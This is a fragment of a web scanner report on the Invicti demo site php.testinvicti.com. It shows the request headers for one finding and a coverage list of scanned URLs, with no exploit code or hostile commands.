¢ http://php.testinvicti.com/icons/

Request headers

GET /icons/ HTTP/1.1

Referer: http://php.testinvicti.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive


https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Content-Type-Options
https://chromium.googlesource.com/chromium/src/+/HEAD/services/network/cross_origin_read_blocking_explainer.md

Scanned items (coverage report)

http://php.testinvicti.com/
http://php.testinvicti.com/<
http://php.testinvicti.com/.idea/
http://php.testinvicti.com/.svn/
http://php.testinvicti.com/artist.php
http://php.testinvicti.com/auth/
http://php.testinvicti.com/clientaccesspolicy.xml
http://php.testinvicti.com/conf.php
http://php.testinvicti.com/crossdomain.xml
http://php.testinvicti.com/crossdomain.xml.wsdl
http://php.testinvicti.com/function.mysql-connect
http://php.testinvicti.com/Generics/
http://php.testinvicti.com/hello.php
http://php.testinvicti.com/icons/
http://php.testinvicti.com/images/
http://php.testinvicti.com/index
http://php.testinvicti.com/index.php
http://php.testinvicti.com/Internals/
http://php.testinvicti.com/nslookup.php
http://php.testinvicti.com/page.php
http://php.testinvicti.com/phpinfo.php
http://php.testinvicti.com/process.bak
http://php.testinvicti.com/process.php
http://php.testinvicti.com/products.php
http://php.testinvicti.com/Programmatic/
http://php.testinvicti.com/robots.txt
http://php.testinvicti.com/style.css
http://php.testinvicti.com/test.txt
http://php.testinvicti.com/test/
http://php.testinvicti.com/url
http://php.testinvicti.com/vendor/
http://php.testinvicti.com/.svn/all-wcprops
http://php.testinvicti.com/.svn/entries
http://php.testinvicti.com/.svn/text-base/
http://php.testinvicti.com/auth/control.php
http://php.testinvicti.com/auth/images/
http://php.testinvicti.com/auth/index.php
http://php.testinvicti.com/auth/login.php
http://php.testinvicti.com/auth/session/
http://php.testinvicti.com/auth/style.css
http://php.testinvicti.com/Generics/index.html
http://php.testinvicti.com/Generics/page.html
http://php.testinvicti.com/Generics/style.css
http://php.testinvicti.com/Generics/users.mdb
http://php.testinvicti.com/icons/small/
http://php.testinvicti.com/images/index.html
http://php.testinvicti.com/Internals/index.html
http://php.testinvicti.com/Programmatic/index.html
http://php.testinvicti.com/test/1.html
http://php.testinvicti.com/vendor/installed.json
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http://php.testinvicti.com/.svn/text-base/artist.php.svn-base
http://php.testinvicti.com/.svn/text-base/conf.php.svn-base
http://php.testinvicti.com/.svn/text-base/hello.php.svn-base
http://php.testinvicti.com/.svn/text-base/index.php.svn-base
http://php.testinvicti.com/.svn/text-base/nslookup.php.svn-base
http://php.testinvicti.com/.svn/text-base/page.php.svn-base
http://php.testinvicti.com/.svn/text-base/process.php.svn-base
http://php.testinvicti.com/.svn/text-base/products.php.svn-base
http://php.testinvicti.com/.svn/text-base/style.css.svn-base
http://php.testinvicti.com/auth/session/index.html
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